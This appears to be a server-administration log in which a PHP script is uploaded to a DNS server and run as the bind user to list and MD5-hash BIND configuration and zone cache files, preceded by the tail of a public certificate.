AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-04 18:42:57: Establishing a connection
2026-03-04 18:43:03: Establishing a connection
2026-03-04 18:43:03: 

PUT: /tmp/pkp653999

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-04 18:43:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp653999; rm /tmp/pkp653999'

2026-03-04 18:43:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-04 18:57:25: Establishing a connection
2026-03-04 18:57:33: Establishing a connection
2026-03-04 18:57:33: 

PUT: /tmp/pkp737008

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-04 18:57:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp737008; rm /tmp/pkp737008'

2026-03-04 18:57:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
